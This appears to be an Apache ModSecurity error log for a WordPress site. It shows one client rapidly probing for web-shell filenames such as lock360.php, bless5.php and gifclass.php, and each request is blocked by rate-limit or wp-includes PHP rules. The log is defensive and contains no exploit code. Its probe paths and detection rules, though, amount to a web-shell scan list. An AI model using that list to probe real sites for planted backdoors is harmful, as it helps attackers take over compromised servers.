[Sat Jan 03 03:39:11.853955 2026] [:error] [pid 1929:tid 1939] [client 4.194.208.111:10204] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aVge3-cFqdpu6TNsuWq0twAAAAE"]
[Sat Jan 03 03:39:12.113838 2026] [:error] [pid 1931:tid 2031] [client 4.194.208.111:10053] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aVge4B8Tyw7ZoIdXlcbeWAAAAIc"]
[Sat Jan 03 03:39:12.325677 2026] [:error] [pid 34260:tid 34269] [client 4.194.208.111:10097] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aVge4EWWhyvZ0O9KNVRubAAAAQc"]
[Sat Jan 03 03:39:12.593620 2026] [:error] [pid 1930:tid 1974] [client 4.194.208.111:10035] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aVge4JP-6mqhfUDa89y9kQAAAEg"]
[Sat Jan 03 03:39:12.876166 2026] [:error] [pid 1931:tid 2041] [client 4.194.208.111:10098] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVge4B8Tyw7ZoIdXlcbeWQAAAJE"]
[Sat Jan 03 03:39:13.141463 2026] [:error] [pid 2083:tid 2091] [client 4.194.208.111:10147] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVge4TVlR_BmlMPnhV6gXQAAAMY"]
[Sat Jan 03 03:39:13.527168 2026] [:error] [pid 1930:tid 1983] [client 4.194.208.111:10065] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVge4ZP-6mqhfUDa89y9kwAAAFE"]
[Sat Jan 03 03:39:13.745888 2026] [:error] [pid 34260:tid 34275] [client 4.194.208.111:10099] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVge4UWWhyvZ0O9KNVRubwAAAQ0"]
[Sat Jan 03 03:39:14.058923 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:9929] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVge4h8Tyw7ZoIdXlcbeWwAAAJg"]
[Sat Jan 03 03:39:14.301947 2026] [:error] [pid 2083:tid 2108] [client 4.194.208.111:10071] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVge4jVlR_BmlMPnhV6gXwAAANc"]
[Sat Jan 03 03:39:14.541335 2026] [:error] [pid 34260:tid 34279] [client 4.194.208.111:9992] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVge4kWWhyvZ0O9KNVRucAAAARE"]
[Sat Jan 03 03:39:14.842558 2026] [:error] [pid 1931:tid 2039] [client 4.194.208.111:10031] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVge4h8Tyw7ZoIdXlcbeXAAAAI8"]
[Sat Jan 03 03:39:15.104294 2026] [:error] [pid 34260:tid 34284] [client 4.194.208.111:10014] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aVge40WWhyvZ0O9KNVRudAAAARY"]
[Sat Jan 03 03:39:15.341904 2026] [:error] [pid 1929:tid 1950] [client 4.194.208.111:10054] [client 4.194.208.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aVge4-cFqdpu6TNsuWq0uQAAAAw"]
[Sat Jan 03 03:39:15.668013 2026] [:error] [pid 34260:tid 34262] [client 4.194.208.111:10092] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVge40WWhyvZ0O9KNVRudwAAAQA"]
[Sat Jan 03 03:39:15.997640 2026] [:error] [pid 34260:tid 34272] [client 4.194.208.111:9986] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVge40WWhyvZ0O9KNVRuegAAAQo"]
[Sat Jan 03 03:39:16.208231 2026] [:error] [pid 1929:tid 1952] [client 4.194.208.111:10017] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVge5OcFqdpu6TNsuWq0ugAAAA4"]
[Sat Jan 03 03:39:16.464309 2026] [:error] [pid 34260:tid 34270] [client 4.194.208.111:10012] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVge5EWWhyvZ0O9KNVRuewAAAQg"]
[Sat Jan 03 03:39:16.735230 2026] [:error] [pid 1930:tid 1988] [client 4.194.208.111:10100] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVge5JP-6mqhfUDa89y9lwAAAFY"]
[Sat Jan 03 03:39:17.143302 2026] [:error] [pid 34260:tid 34280] [client 4.194.208.111:10011] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVge5UWWhyvZ0O9KNVRufQAAARI"]
[Sat Jan 03 03:39:17.482384 2026] [:error] [pid 1930:tid 1967] [client 4.194.208.111:10042] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVge5ZP-6mqhfUDa89y9mwAAAEE"]
[Sat Jan 03 03:39:17.702772 2026] [:error] [pid 1930:tid 1984] [client 4.194.208.111:10029] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVge5ZP-6mqhfUDa89y9nAAAAFI"]
[Sat Jan 03 03:39:17.973343 2026] [:error] [pid 1930:tid 1976] [client 4.194.208.111:9921] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVge5ZP-6mqhfUDa89y9nQAAAEo"]
[Sat Jan 03 03:39:18.223619 2026] [:error] [pid 1930:tid 1985] [client 4.194.208.111:10023] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVge5pP-6mqhfUDa89y9nwAAAFM"]
[Sat Jan 03 03:39:18.520469 2026] [:error] [pid 34260:tid 34275] [client 4.194.208.111:10111] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVge5kWWhyvZ0O9KNVRufwAAAQ0"]
[Sat Jan 03 03:39:18.830982 2026] [:error] [pid 34260:tid 34282] [client 4.194.208.111:10105] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVge5kWWhyvZ0O9KNVRugAAAARQ"]
[Sat Jan 03 03:39:19.322384 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:10045] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aVge5zVlR_BmlMPnhV6gYAAAAMo"]
[Sat Jan 03 03:39:19.642545 2026] [:error] [pid 2083:tid 2098] [client 4.194.208.111:10009] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aVge5zVlR_BmlMPnhV6gYQAAAM0"]
[Sat Jan 03 03:39:20.024147 2026] [:error] [pid 2083:tid 2105] [client 4.194.208.111:10051] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aVge6DVlR_BmlMPnhV6gYwAAANQ"]
[Sat Jan 03 03:39:20.493964 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:9991] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aVge6DVlR_BmlMPnhV6gZQAAANA"]
[Sat Jan 03 03:39:20.743115 2026] [:error] [pid 2083:tid 2103] [client 4.194.208.111:9984] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aVge6DVlR_BmlMPnhV6gaAAAANI"]
[Sat Jan 03 03:39:21.057700 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:10172] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aVge6TVlR_BmlMPnhV6gagAAAM4"]
[Sat Jan 03 03:39:21.398088 2026] [:error] [pid 2083:tid 2089] [client 4.194.208.111:9949] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aVge6TVlR_BmlMPnhV6gbAAAAMQ"]
[Sat Jan 03 03:39:21.596995 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:10164] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aVge6TVlR_BmlMPnhV6gbgAAANg"]
[Sat Jan 03 03:39:21.797240 2026] [:error] [pid 2083:tid 2087] [client 4.194.208.111:10095] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVge6TVlR_BmlMPnhV6gcAAAAMI"]
[Sat Jan 03 03:39:22.043261 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:10085] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVge6jVlR_BmlMPnhV6gcQAAAMM"]
[Sat Jan 03 03:39:22.313898 2026] [:error] [pid 34260:tid 34268] [client 4.194.208.111:9990] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVge6kWWhyvZ0O9KNVRugwAAAQY"]
[Sat Jan 03 03:39:22.752906 2026] [:error] [pid 2083:tid 2108] [client 4.194.208.111:10019] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVge6jVlR_BmlMPnhV6gdQAAANc"]
[Sat Jan 03 03:39:22.973833 2026] [:error] [pid 2083:tid 2094] [client 4.194.208.111:9968] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aVge6jVlR_BmlMPnhV6gdgAAAMk"]
[Sat Jan 03 03:39:23.196368 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:10036] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aVge6zVlR_BmlMPnhV6gdwAAAMo"]
[Sat Jan 03 03:39:23.428094 2026] [:error] [pid 2083:tid 2098] [client 4.194.208.111:9947] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aVge6zVlR_BmlMPnhV6geAAAAM0"]
[Sat Jan 03 03:39:23.753717 2026] [:error] [pid 34260:tid 34265] [client 4.194.208.111:10175] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aVge60WWhyvZ0O9KNVRuhQAAAQM"]
[Sat Jan 03 03:39:23.960884 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:9971] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aVge6zVlR_BmlMPnhV6gfAAAANA"]
[Sat Jan 03 03:39:27.193969 2026] [:error] [pid 34260:tid 34275] [client 4.194.208.111:10003] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aVge70WWhyvZ0O9KNVRupwAAAQ0"]
[Sat Jan 03 03:39:27.424818 2026] [:error] [pid 2083:tid 2103] [client 4.194.208.111:10069] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aVge7zVlR_BmlMPnhV6gkgAAANI"]
[Sat Jan 03 03:39:27.652685 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:10050] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aVge7zVlR_BmlMPnhV6gkwAAANY"]
[Sat Jan 03 03:39:28.175230 2026] [:error] [pid 1930:tid 1987] [client 4.194.208.111:9942] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aVge8JP-6mqhfUDa89y9pAAAAFU"]
[Sat Jan 03 03:39:28.405889 2026] [:error] [pid 2083:tid 2100] [client 4.194.208.111:10104] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aVge8DVlR_BmlMPnhV6glQAAAM8"]
[Sat Jan 03 03:39:28.715880 2026] [:error] [pid 2083:tid 2102] [client 4.194.208.111:10002] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aVge8DVlR_BmlMPnhV6glgAAANE"]
[Sat Jan 03 03:39:28.977596 2026] [:error] [pid 1930:tid 1986] [client 4.194.208.111:10093] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aVge8JP-6mqhfUDa89y9pwAAAFQ"]
[Sat Jan 03 03:39:29.437340 2026] [:error] [pid 1930:tid 1975] [client 4.194.208.111:10159] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aVge8ZP-6mqhfUDa89y9qwAAAEk"]
[Sat Jan 03 03:39:29.705352 2026] [:error] [pid 1930:tid 1966] [client 4.194.208.111:10000] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aVge8ZP-6mqhfUDa89y9rAAAAEA"]
[Sat Jan 03 03:39:29.969099 2026] [:error] [pid 1930:tid 1988] [client 4.194.208.111:10074] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aVge8ZP-6mqhfUDa89y9rQAAAFY"]
[Sat Jan 03 03:39:30.502639 2026] [:error] [pid 1931:tid 2040] [client 4.194.208.111:10073] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aVge8h8Tyw7ZoIdXlcbeawAAAJA"]
[Sat Jan 03 03:39:30.733853 2026] [:error] [pid 34260:tid 34282] [client 4.194.208.111:9934] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aVge8kWWhyvZ0O9KNVRu6AAAARQ"]
[Sat Jan 03 03:39:31.023161 2026] [:error] [pid 2083:tid 2098] [client 4.194.208.111:10025] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVge8zVlR_BmlMPnhV6gngAAAM0"]
